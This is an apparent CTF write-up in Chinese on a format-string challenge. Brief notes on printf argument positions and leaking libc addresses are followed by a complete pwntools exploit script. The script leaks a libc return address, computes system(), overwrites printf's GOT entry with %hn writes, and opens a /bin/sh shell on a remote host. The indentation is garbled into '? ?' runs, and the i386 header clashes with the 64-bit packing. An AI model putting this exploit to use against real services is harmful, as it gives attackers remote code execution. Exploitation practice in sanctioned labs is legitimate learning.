這道題很有意思，格式化漏洞利用，遺漏知識點
1.main的返回地址是__libc_start_main_ret(有些機器通過__libc_start_main獲取不到libc地址)。
2.format string:printf(fmt,...)? ?如果不指定位置，如%x%p%d，從stack上第一個參數開始
%x%1$n%p%2$n%d，除了指定位置如%1$n，其他都是從stack上地一個參數開始。
%x =>1 param
%p=>2 param
%d=>3 param。
3.printf()函數，會在stack上放置fmt和vargs。
4.要想獲取正確rbp，須得在后續(xù)函數調用中拿到，前須函數不一定正確，如本題main()->printf()，main push rbp可能是__libc_start_main中設置的垃圾數據。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 167.99.88.212 --port 31369 space
from pwn import *
from pwnlib import libcdb
# Set up pwntools for the correct architecture
exe=ELF('/home/ccc/htb/trackers/leet_test')
context.binary=exe.path
# Many built-in settings can be controlled on the command-line and show up
# in "args".? For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '139.59.166.56'
port = int(args.PORT or 32606)
def local(argv=[], *a, **kw):
? ? '''Execute the target binary locally'''
? ? if args.GDB:
? ? ? ? return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
? ? else:
? ? ? ? return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
? ? '''Connect to the process on the remote host'''
? ? io = connect(host, port)
? ? if args.GDB:
? ? ? ? gdb.attach(io, gdbscript=gdbscript)
? ? return io
def start(argv=[], *a, **kw):
? ? '''Start the exploit against the target.'''
? ? if args.LOCAL:
? ? ? ? return local(argv, *a, **kw)
? ? else:
? ? ? ? return remote(argv, *a, **kw)
def get_libcstartmain_ret_addr():
? ? payload = "%47$lx"
? ? io.sendlineafter(b"name: ",payload)
? ? ret = io.recvline();
? ? ret=ret[7:-1]
? ? print(ret)
? ? __libc_start_main_ret=int(ret,16)
? ? print(hex(__libc_start_main_ret))
? ? return __libc_start_main_ret
def get_format_addr():
? ? payload = "%4$lx"
? ? io.sendlineafter(b"name: ",payload)
? ? ret = io.recvline();
? ? ret=ret[7:-1]
? ? print(ret)
? ? format_addr=int(ret,16)
? ? print(hex(format_addr))
? ? return format_addr
def set_printf_got_to_system():
? ? system_bytes=struct.pack(">Q",system_addr)
? ? system_bytes_0=system_bytes[2:4]
? ? system_bytes_2=system_bytes[4:6]
? ? system_bytes_4=system_bytes[6:]
? ? system_0=struct.unpack(">H", system_bytes_0)[0]
? ? system_2=struct.unpack(">H", system_bytes_2)[0]
? ? system_4=struct.unpack(">H", system_bytes_4)[0]
? ? offset = {system_0:20,system_2:19,system_4:18}
? ? li=sorted([system_0,system_2,system_4])
? ? min_v=li[0]
? ? mid_v=li[1]
? ? max_v=li[2]
? ? payload= b'/bin/sh;#? ? ? '
? ? #min bytes
? ? tmp=min_v-0x10
? ? tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')
? ? payload += tmp
? ? tmp=offset[min_v]
? ? tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')
? ? payload += tmp
? ? #mid bytes
? ? tmp=8 if mid_v-min_v<8 else mid_v-min_v
? ? tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')
? ? payload += tmp
? ? tmp=offset[mid_v]
? ? tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')
? ? payload += tmp
? ? #max bytes
? ? tmp=8 if max_v-mid_v<8 else max_v-mid_v
? ? tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')
? ? payload += tmp
? ? tmp=offset[max_v]
? ? tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')
? ? payload += tmp? ?
? ? payload += p64(printf_got)
? ? payload += p64(printf_got_2)
? ? payload += p64(printf_got_4)
? ? print(payload)
? ? io.sendlineafter(b"name: ",payload)
? ? ret= io.recvline()
? ? print(ret)
? ? io.interactive()
? ? payload= b'/bin/sh;#? ? ? '
? ? io.sendlineafter(b"name: ",payload)
? ? io.interactive()
? ? print(ret)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
#? ? ? ? ? ? ? ? ? ? EXPLOIT GOES HERE
#===========================================================
# Arch:? ? i386-32-little
# RELRO:? ? No RELRO
# Stack:? ? No canary found
# NX:? ? ? NX disabled
# PIE:? ? ? No PIE (0x8048000)
# RWX:? ? ? Has RWX segments
io = start()
? ? # io = gdb.debug(exe.path ,gdbscript='''
? ? #? ? ? ? ? ? ? ? hbreak *0x4012CA
? ? #? ? ? ? ? ? ? ? hbreak *0x401374
? ? #? ? ? ? ? ? ? continue
? ? #? ? ? ? ? ? ? ? ''')
? ? #format_str_addr=get_format_addr()
? ? #
? ? # setRandomNumber()
? ? #set()
libc_start_main_addr=get_libcstartmain_ret_addr()
libc_start_main_offset=0x270b3
libc_addr=libc_start_main_addr-libc_start_main_offset
system_offset=0x55410
system_addr=libc_addr+system_offset
printf_got=0x404020
printf_got_2=0x404022
printf_got_4=0x404024
set_printf_got_to_system()
